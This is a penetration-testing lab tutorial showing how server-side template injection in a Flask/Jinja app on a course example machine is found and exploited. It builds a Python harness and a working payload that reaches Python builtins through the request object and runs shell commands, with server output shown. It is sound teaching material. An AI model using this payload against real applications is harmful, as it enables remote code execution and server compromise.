Skip to content

Exploiting SSTI

Now we have established that SSTI allows us to include and run server side code, lets see the kind of things we can do with it.

Note

We will deal with Python / Flask / Jinja here. The approach should be similar in other Python based stacks.

SSTI also exsits in PHP / Node.js and other frameworks. While the speifics will differ, following a similar process to any RCE in this langauge should help

We will have a walkthrough of the SSTI_EASY example machine from the Lab Github Repo.

Flask SSTI

Jinja is the most common template engine used with the Flask web framework.

We can confirm that SSTI exists by submitting the input {{ 7+7 }} if the output we get is 14 then we know that the template is executing the code we submit.

Example

In the demo, We have several inputs.

We could test them all at once, but I have chosen to add a different injection string to each box. This "should" allow me to narrow down where my vulnerable input will work.

Identify Inputs

Submitting this brings up the following error box.

Error Box

As the output is 12 (6+6) we know the king input is vulnerable.

Submitting lots of data

We can submit this data by mangling the form each time. However its painful. Lets build a quick requests based test harness.

import requests

URL = "http://127.0.0.1:5000/"

def sendPayload(payload):
     data = {"king": payload}
     r = requests.post(URL, data=data)
     print(r.text)

This lets us send data using python command line

In [4]: sendPayload("{{ 7+7 }}")

<!doctype html>

<html lang="en">
<head>
  <meta charset="utf-8">

  <title>Present List</title>
  <meta name="author" content="aa9863@coventry.ac.uk">
  <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm" crossorigin="anonymous">
</head>

<body>
  <div class="container">

<h2>Error</h2>
<div class="alert alert-danger" role="alert">
ERROR:  14 is not a King
</div>

  </div>
</body>
</html>

Python SSTI Payloads

Now we have found a vulnerable input, we need to work out what to do with it.

A Recap of Python RCE

We looked at Remote Code Execution (RCE) in the Practical Pen Testing Module.

RCE is where an attacker is able to evaluate some code through an interpreter on the remote server, to get the system to behave in an unexpected way.

Example

We can use the subprocess module to run a command and get its output

>>> import subprocess
>>> out = subprocess.check_output("id")
>>> print(out)
b'uid=1000(dang) gid=1000(dang) groups=1000(dang),56(bumblebee),977(docker),987(uucp),998(wheel)\n'

Remember from the RCE lecture as we are evaling the string, we cant have spaces etc, so will need to use the dunder version to turn the code into a single string.

>>> theStr = "__import__('subprocess').check_output('id')"
>>> out = eval(theStr)
>>> print(out)
b'uid=1000(dang) gid=1000(dang) groups=1000(dang),56(bumblebee),977(docker),987(uucp),998(wheel)\n'
>>> 

Another similar method we can use is

import os
os.popen('id').read

Running Commands in Flask

Trying to run the command we used earlier gives us an error.

sendPayload("{{__import__('subprocess').check_call('id') }}")

Checking the server logs we see the following issue, showing that the code is executing, but the system doesnt know what to do with the input command.

ssti_easy-flask-1  |   File "<template>", line 6, in block "content"
ssti_easy-flask-1  | jinja2.exceptions.UndefinedError: '__import__' is undefined

What if we are attacking a remote system cant get the logs.

I like to build my own copy of the server. Flask is pretty trivial to setup, and it lets me try various inputs (and see the errors that come back)

Calling Functions assocaited with an Object

While we cannot call the import directly, we can call functions associated with an object.

For example, python strings, have the upper function, that will convert a sting to uppercase. Lets see what happens in out template using this as an input.

Example

First we submit a plain string object. In this case Elvis1

In [9]: sendPayload("{{ 'Elvis' }}")

<!doctype html>

<html lang="en">
<head>
    <meta charset="utf-8">

    <title>Present List</title>
    <meta name="author" content="aa9863@coventry.ac.uk">
    <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm" crossorigin="anonymous">
</head>

<body>
    <div class="container">

    <h2>Error</h2>
    <div class="alert alert-danger" role="alert">
    ERROR:  Elvis is not a King
    </div>

    </div>
</body>
</html>

Now we try the same input, but using one of Strings functions

In [10]: sendPayload("{{ 'Elvis'.upper() }}")

<!doctype html>

<html lang="en">
<head>
<meta charset="utf-8">

<title>Present List</title>
<meta name="author" content="aa9863@coventry.ac.uk">
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm" crossorigin="anonymous">
</head>

<body>
    <div class="container">

    <h2>Error</h2>
    <div class="alert alert-danger" role="alert">
    ERROR:  ELVIS is not a King
    </div>

</div>
</body>
</html>

See in the second example, the input we give is converted to upper case

So we now have a way of calling functions associated with an object

Python Builtin

Python has a set of Builtin functions This includes the import function that we cant directly access.

In Python Everything is an Object, and objects also have a lot of metadata associated with them. (You did some of this in the first year programming)

This means that if we have access to an object, we will also have access to its functions and attributes.

For example:

  • an objects __class__ is the type of object we have created
  • the __class__ is also an object, with its own set of attributes and functions. For example it has an attribute called base
  • base is a object with its own set of attributes and functions......

As each of the classes know about their Parent, we can traverse back up the class higerachy untill we reach the root of the tree. This gives us a starting point of the common (builtin) functions that we can use to exploit the system.

In a Flask based system there are several classes that are acessable to templates that can make our life easier.

  • config, the current configuration object
  • request, the current request object
  • session, the current session object
  • g, the request-bound object for global variables. This is usually used by the developer to store resources during a request.

Note

We are just going to focus on the Request object. However, there are a load of interesting things we can do with things like getting environment variable (and the key used to sign sessions) from config

Take a look at the API for Flask for more inspiration

The request object deals with the current request. As its a python object, we can also access its various parents. The path that takes us back to Python's builtins is

request.application.__globals__.__builtins__

Lets pull that appart:

  • request the Request object we can access via the templte
  • application its parent application (the Flask server itself_
  • globals Global variables associated with the application
  • builtins Python's Builtin functions

Example

If we sent the following payload.

In [35]: sendPayload("{{ request.application.__globals__.__builtins__  }}")

<!doctype html>

<html lang="en">

... <SNIP> ...
ERROR:  {&#39;__name__&#39;: &#39;builtins&#39;, &#39;__doc__&#39;: &#34;Built-in functions, exceptions, and other objects.\n\nNoteworthy: None is the `nil&#39; object; Ellipsis represents `...&#39; in slices.&#34;, &#39;__package__&#39;: &#39;&#39;, &#39;__loader__&#39;: &lt;class &#39;_frozen_importlib.BuiltinImporter&#39;&gt;, &#39;__spec__&#39;: ModuleSpec(name=&#39;builtins&#39;, loader=&lt;class &#39;_frozen_importlib.BuiltinImporter&#39;&gt;, origin=&#39;built-in&#39;), &#39;__build_class__&#39;: &lt;built-in function __build_class__&gt;, &#39;__import__&#39;:

We can see (once we get around the URLencoding) we have access to the standard python builtin objects

Note

The output on the webpage is the same as typing ```help(builtins)```` in the python interprter.

Now we have access to the builtins, we can start to build the payload using our same POC as before

  • Path to import request.application.__globals__.__builtins__
  • Payload __import__('os').popen('id').read()

Leaving us with our final payload of

request.application.__globals__.__builtins__.__import__('os').popen('id').read()

Example

In [45]: sendPayload("{{ request.application.__globals__.__builtins__.__import__('os').pope
...: n('id').read() }}")

<!doctype html>

<html lang="en">
<head>
<meta charset="utf-8">

<title>Present List</title>
<meta name="author" content="aa9863@coventry.ac.uk">
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm" crossorigin="anonymous">
</head>

<body>
<div class="container">

<h2>Error</h2>
<div class="alert alert-danger" role="alert">
ERROR:  uid=999(flask) gid=999(flask) groups=999(flask)
is not a King
</div>

</div>
</body>

Summary.

In this article we have seen how we can exploit SSTI in Flask based systems


  1. Apparently THE King. 

Back to top